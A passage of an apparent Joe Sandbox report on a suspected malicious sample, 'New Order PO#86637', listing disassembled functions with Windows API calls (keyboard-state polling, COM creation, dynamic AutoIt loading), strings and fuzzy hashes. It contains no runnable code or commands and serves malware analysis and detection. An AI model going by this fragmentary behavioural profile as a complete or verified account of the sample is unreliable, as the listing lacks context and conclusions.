DestroyIcon.USER32(00690072), ref: 00470A1C
DeleteObject.GDI32(00000001), ref: 00470A34
DestroyWindow.USER32(004F0046), ref: 00470A4C
DestroyIcon.USER32(?), ref: 00470A73
DestroyIcon.USER32(?), ref: 00470A81
KillTimer.USER32(00000000,00000000), ref: 00470B00

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateKillRectTableTimerWindow
String ID:
API String ID: 1237572874-0
Opcode ID: 4ee17edbf3fbf185c7a1b530a933687592c26a3f705ddbb244818e4a2882b4b3
Instruction ID: 3938066daea6daae9dc0c39577387909b3bcb8112bd91d3310d64c2ecda3814a
Opcode Fuzzy Hash: 4ee17edbf3fbf185c7a1b530a933687592c26a3f705ddbb244818e4a2882b4b3
Instruction Fuzzy Hash: 24616874601201CFE714DF65DD94FAA77B8FB6A304B54856EE6098B3A2CB38EC41CB58

Function 00479362 Relevance: 16.6, APIs: 11, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,004795FD), ref: 00479380
SafeArrayAllocData.OLEAUT32(004795FD), ref: 004793CF
VariantInit.OLEAUT32(?), ref: 004793E1
SafeArrayAccessData.OLEAUT32(004795FD,?), ref: 00479402
VariantCopy.OLEAUT32(?,?), ref: 00479461
SafeArrayUnaccessData.OLEAUT32(004795FD), ref: 00479474
VariantClear.OLEAUT32(?), ref: 00479489
SafeArrayDestroyData.OLEAUT32(004795FD), ref: 004794AE
SafeArrayDestroyDescriptor.OLEAUT32(004795FD), ref: 004794B8
VariantClear.OLEAUT32(?), ref: 004794CA
SafeArrayDestroyDescriptor.OLEAUT32(004795FD), ref: 004794E7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 604ca7338ef7579289b82c182b4992e50dced26e61eee24e9e1f7f7e4088d468
Instruction ID: 8c269571b42c1441f814514f03b92edd351012a73d8239c9f379a0a89e1b4ae1
Opcode Fuzzy Hash: 604ca7338ef7579289b82c182b4992e50dced26e61eee24e9e1f7f7e4088d468
Instruction Fuzzy Hash: F6515E76A00119ABCB00DFA5DD849DEB7B9FF88704F10856EE905A7241DB749E06CBA4

Function 004447E0 Relevance: 16.6, APIs: 11, Instructions: 130keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0044480E
GetAsyncKeyState.USER32(000000A0), ref: 00444899
GetKeyState.USER32(000000A0), ref: 004448AA
GetAsyncKeyState.USER32(000000A1), ref: 004448C8
GetKeyState.USER32(000000A1), ref: 004448D9
GetAsyncKeyState.USER32(00000011), ref: 004448F5
GetKeyState.USER32(00000011), ref: 00444903
GetAsyncKeyState.USER32(00000012), ref: 0044491F
GetKeyState.USER32(00000012), ref: 0044492D
GetAsyncKeyState.USER32(0000005B), ref: 00444949
GetKeyState.USER32(0000005B), ref: 00444958

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 9fce1f5b3a66d3eff563dda32bd6bc0484776d74d04e18c21d6e4f8d76764453
Instruction ID: 827c2ee343902556a703916e37c968ecd50c133e95067caf6822082f003788d3
Opcode Fuzzy Hash: 9fce1f5b3a66d3eff563dda32bd6bc0484776d74d04e18c21d6e4f8d76764453
Instruction Fuzzy Hash: 27412B34A047C969FF31A6A4C8043A7BBA16FA1314F04805FD5C5477C1DBED99C8C7A9

Function 00470B6C Relevance: 16.6, APIs: 11, Instructions: 125COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00470BC6

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

_wcscpy.LIBCMT ref: 00470BEA
VariantInit.OLEAUT32(?), ref: 00470C4C
VariantInit.OLEAUT32(?), ref: 00470C5A
VariantInit.OLEAUT32(?), ref: 00470C60
VariantInit.OLEAUT32(?), ref: 00470C69
VariantInit.OLEAUT32(?), ref: 00470C72
VariantInit.OLEAUT32(?), ref: 00470C80
VariantInit.OLEAUT32(?), ref: 00470C89
VariantInit.OLEAUT32(?), ref: 00470C9A
VariantInit.OLEAUT32 ref: 00470CB5

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: InitVariant$_malloc_wcscpy_wcslen
String ID:
API String ID: 3413494760-0
Opcode ID: b3fce9f732112990bbb163bb6abadbd830b92813f31b22ad1e38064008f16c53
Instruction ID: 93a03e1dde4748921c3f7e50244c45dc9774a8ad470eaa8d68eb3f4e8808ad8d
Opcode Fuzzy Hash: b3fce9f732112990bbb163bb6abadbd830b92813f31b22ad1e38064008f16c53
Instruction Fuzzy Hash: 33414BB260070AAFC754DF69C880A86BBE8FF48314F00862AE619C7750D775E564CBE5

Function 0044EDCC Relevance: 16.2, APIs: 3, Strings: 6, Instructions: 472COMMON

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 0044EF43

Strings

h, xrefs: 0044F78E
`, xrefs: 0044EDCD
', xrefs: 0044EE2E
\, xrefs: 0044D061
DEFINE, xrefs: 0044F030
h, xrefs: 0044F045

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _strncmp
String ID: '$DEFINE$\$`$h$h
API String ID: 909875538-3708680428
Opcode ID: c0119b86fdbff93204f49aa9905b13b9b84c98abe9b4d8f4a229c1acd795ed82
Instruction ID: 816ce89e9d314c50cae2ff635e2dae77420ade2a81b985ada7b38a9c48760da0
Opcode Fuzzy Hash: c0119b86fdbff93204f49aa9905b13b9b84c98abe9b4d8f4a229c1acd795ed82
Instruction Fuzzy Hash: C502B470A042498FEF14CF69C9906AEBBF2FF85304F2481AED8459B341D7399946CB55

Function 004542ED Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 271libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000001,?), ref: 004543C6
GetProcAddress.KERNEL32(?,AU3_FreeVar), ref: 004543DF
_malloc.LIBCMT ref: 0045441D
_strlen.LIBCMT ref: 0045447B
_malloc.LIBCMT ref: 00454485
_strcat.LIBCMT ref: 00454496
_free.LIBCMT ref: 004545DB
_free.LIBCMT ref: 004545ED

Strings

AU3_FreeVar, xrefs: 004543D9

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AddressProc_free_malloc$_strcat_strlen
String ID: AU3_FreeVar
API String ID: 2634073740-771828931
Opcode ID: b7b62cf44ead268743cea15c23fa0702c80810b5d7796ec40f0430e9877b9643
Instruction ID: 8d08e60933d1045585c44e473594da8d0bbfd8a8652ecee4fcef853dc29158a1
Opcode Fuzzy Hash: b7b62cf44ead268743cea15c23fa0702c80810b5d7796ec40f0430e9877b9643
Instruction Fuzzy Hash: 00B1ADB4A00206DFCB00DF55C880A6AB7A5FF88319F2485AEED058F352D739ED95CB94

Function 0046C5FA Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 208comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 0046C63A
CoUninitialize.OLE32 ref: 0046C645

Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1

Part of subcall function 0044CB87: CreateDispTypeInfo.OLEAUT32(?,00000800,?), ref: 0044CBD4
Part of subcall function 0044CB87: CreateStdDispatch.OLEAUT32(00000000,?,?,?), ref: 0044CBF4

CLSIDFromProgID.OLE32(00000000,?), ref: 0046C694
CLSIDFromString.OLE32(00000000,?), ref: 0046C6A4
CoCreateInstance.OLE32(?,00000000,00000017,00482998,?), ref: 0046C6CD
IIDFromString.OLE32(?,?), ref: 0046C705

Strings

Failed to create object, xrefs: 0046C78F
Invalid parameter, xrefs: 0046C720
NULL Pointer assignment, xrefs: 0046C74A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CreateFrom$String$DispDispatchInfoInitializeInstanceProgTypeUninitialize_malloc
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 2294789929-1287834457
Opcode ID: 4dfaed0549f409efa28524cf643488acd2e6b782f2d71f2a42dfc1cbbaa944b5
Instruction ID: adb6a6f601bf1a612e569d1fac1689f55b30b767fcafa950e0578031a668eb85
Opcode Fuzzy Hash: 4dfaed0549f409efa28524cf643488acd2e6b782f2d71f2a42dfc1cbbaa944b5
Instruction Fuzzy Hash: B861BC712043019FD710EF21D885B7BB3E8FB84715F10891EF9859B241E779E909CBAA

Function 004710F1 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 157windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00456391: GetCursorPos.USER32(?), ref: 004563A6
Part of subcall function 00456391: ScreenToClient.USER32(?,?), ref: 004563C3
Part of subcall function 00456391: GetAsyncKeyState.USER32(?), ref: 00456400
Part of subcall function 00456391: GetAsyncKeyState.USER32(?), ref: 00456410

DefDlgProcW.USER32(?,00000205,?,?), ref: 00471145
ImageList_DragLeave.COMCTL32(00000000), ref: 00471163
ImageList_EndDrag.COMCTL32 ref: 00471169
ReleaseCapture.USER32 ref: 0047116F
SetWindowTextW.USER32(?,00000000), ref: 00471206
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00471216

Strings

@GUI_DROPID, xrefs: 00471245
@GUI_DRAGFILE, xrefs: 0047127A

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 2483343779-2107944366
Opcode ID: 0c0f1ff16893fa866466cf5bd33a163e2c592d09522a7afef5934b76f638d362
Instruction ID: f70d9246110d4513cc5ea0640624bfdb04bec8758509bedf4130776013c57ff9
Opcode Fuzzy Hash: 0c0f1ff16893fa866466cf5bd33a163e2c592d09522a7afef5934b76f638d362
Instruction Fuzzy Hash: D751E5706002109FD700EF59CC85BAF77A5FB89310F004A6EF945A72E2DB789D45CBAA

Function 004505F0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004506A0
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 004506B4
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 004506D5
_wcslen.LIBCMT ref: 00450720
_wcscat.LIBCMT ref: 00450733
SendMessageW.USER32(?,00001057,00000000,?), ref: 0045074C
SendMessageW.USER32(?,00001061,?,?), ref: 0045077E

Strings

-----, xrefs: 0045072B
SysListView32, xrefs: 00450673

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$Window_wcscat_wcslen
String ID: -----$SysListView32
API String ID: 4008455318-3975388722
Opcode ID: ffec743b0eb36e838b163f32d05296d45530ca8b23685d337e61e8ea6b23e255
Instruction ID: d83f74bd31ff7b91e94eebeff09b40632409ca0fd113a8de7250d6f1aa6a1b31
Opcode Fuzzy Hash: ffec743b0eb36e838b163f32d05296d45530ca8b23685d337e61e8ea6b23e255
Instruction Fuzzy Hash: 9C51D470500308ABDB24CF64CD89FEE77A5EF98304F10065EF944A72C2D3B99959CB58

Function 00469BF3 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469C73
GetDlgCtrlID.USER32(00000000), ref: 00469C84
GetParent.USER32 ref: 00469C98
SendMessageW.USER32(00000000,?,00000111), ref: 00469C9F
GetDlgCtrlID.USER32(00000000), ref: 00469CA5
GetParent.USER32 ref: 00469CBC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00469CC3

Strings

ComboBox, xrefs: 00469BFF
ListBox, xrefs: 00469C31

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove_wcslen
String ID: ComboBox$ListBox
API String ID: 2360848162-1403004172
Opcode ID: 7a27601cbaa80f740c595597d901cdf30e8ed390f6d586fa417b55efe09de5c4
Instruction ID: b77daa4920d68b7dc7b38413de7e2b04daab878370679d8231203fb1b5b646ea
Opcode Fuzzy Hash: 7a27601cbaa80f740c595597d901cdf30e8ed390f6d586fa417b55efe09de5c4
Instruction Fuzzy Hash: 0121E7716001187BDB00AB69CC85ABF779CEB85320F00855BFA149B2D1D6B8D845C7A5

Function 00469DF3 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469E71
GetDlgCtrlID.USER32(00000000), ref: 00469E82
GetParent.USER32 ref: 00469E96
SendMessageW.USER32(00000000,?,00000111), ref: 00469E9D
GetDlgCtrlID.USER32(00000000), ref: 00469EA3
GetParent.USER32 ref: 00469EBA
SendMessageW.USER32(00000000,?,00000111,?), ref: 00469EC1

Strings

ComboBox, xrefs: 00469DFF
ListBox, xrefs: 00469E31

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove_wcslen
String ID: ComboBox$ListBox
API String ID: 2360848162-1403004172
Opcode ID: 986fe2d2ad3502a89dd9d9f189f0f45c93be64f12821e5ba271ad6af13960510
Instruction ID: 3a0c9dd1fa5fd4c1d1a647422213a645dfa1e4764d365342f395b6f430504e68
Opcode Fuzzy Hash: 986fe2d2ad3502a89dd9d9f189f0f45c93be64f12821e5ba271ad6af13960510
Instruction Fuzzy Hash: D121F7716001187BDB00ABA9CC85BBF77ACEB85310F00855FFA44EB2D5D6B8DC4587A5

Function 0045DC4C Relevance: 15.2, APIs: 10, Instructions: 190COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0045DCAF
SHGetMalloc.SHELL32(?), ref: 0045DCB9
CoUninitialize.OLE32 ref: 0045DCC3
_wcscpy.LIBCMT ref: 0045DD06
SHGetDesktopFolder.SHELL32(00000000,?), ref: 0045DD62
_wcscpy.LIBCMT ref: 0045DD83
_wcscpy.LIBCMT ref: 0045DDE3
SHBrowseForFolderW.SHELL32(?), ref: 0045DE0E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0045DE30
CoUninitialize.OLE32 ref: 0045DE7E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcscpy$FolderUninitialize$BrowseDesktopFromInitializeListMallocPath
String ID:
API String ID: 262282135-0
Opcode ID: 6572a5b0ab20a3b352b20f616e179ebe31bc85c3400954ff5f88a0c3e804af97
Instruction ID: f209a7e015878e5ef66622a864ec89938c936514b9877fb167e893f071c19078
Opcode Fuzzy Hash: 6572a5b0ab20a3b352b20f616e179ebe31bc85c3400954ff5f88a0c3e804af97
Instruction Fuzzy Hash: 25718275900208AFCB14EF95C9849DEB7B9EF88304F00899AE9099B312D735EE45CF64

Function 00448123 Relevance: 15.2, APIs: 10, Instructions: 187windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 004481A8
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 004481AB
GetWindowLongW.USER32(?,000000F0), ref: 004481CF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481F2
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00448266
SendMessageW.USER32(?,00001074,?,00000007), ref: 004482B4
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482CF
SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482F1
SendMessageW.USER32(?,0000101E,00000001,?), ref: 00448308
SendMessageW.USER32(?,00001008,?,00000007), ref: 00448320

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: 6a3a0ce9ab1f2311975bf00a061da1b0f9e556c56634a45a126b5d9c196b7e2c
Instruction ID: c7c5d5d6f9bf0949bb943eac7ac5a8ec30049dd2ce11923e35461b50cec8bdb0
Opcode Fuzzy Hash: 6a3a0ce9ab1f2311975bf00a061da1b0f9e556c56634a45a126b5d9c196b7e2c
Instruction Fuzzy Hash: 97617C70A00208AFEB10DF94DC81FEE77B9FF49714F10429AF914AB291DBB5AA41CB54

Function 00448D62 Relevance: 15.2, APIs: 10, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004413AA: DeleteObject.GDI32(?), ref: 0044140B

SendMessageW.USER32(75A923D0,00001001,00000000,?), ref: 00448E16
SendMessageW.USER32(75A923D0,00001026,00000000,?), ref: 00448E25

Part of subcall function 00441432: CreateSolidBrush.GDI32(?), ref: 0044147E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$BrushCreateDeleteObjectSolid
String ID:
API String ID: 3771399671-0
Opcode ID: 36703352345276820fdd923f04099b07a85a16fcace37fcd15d9f96d3dbdb764
Instruction ID: 7c26134f999fedcb31daf2d1c178305a5bad5d5d588b7e0560cc3c70a69cf84e
Opcode Fuzzy Hash: 36703352345276820fdd923f04099b07a85a16fcace37fcd15d9f96d3dbdb764
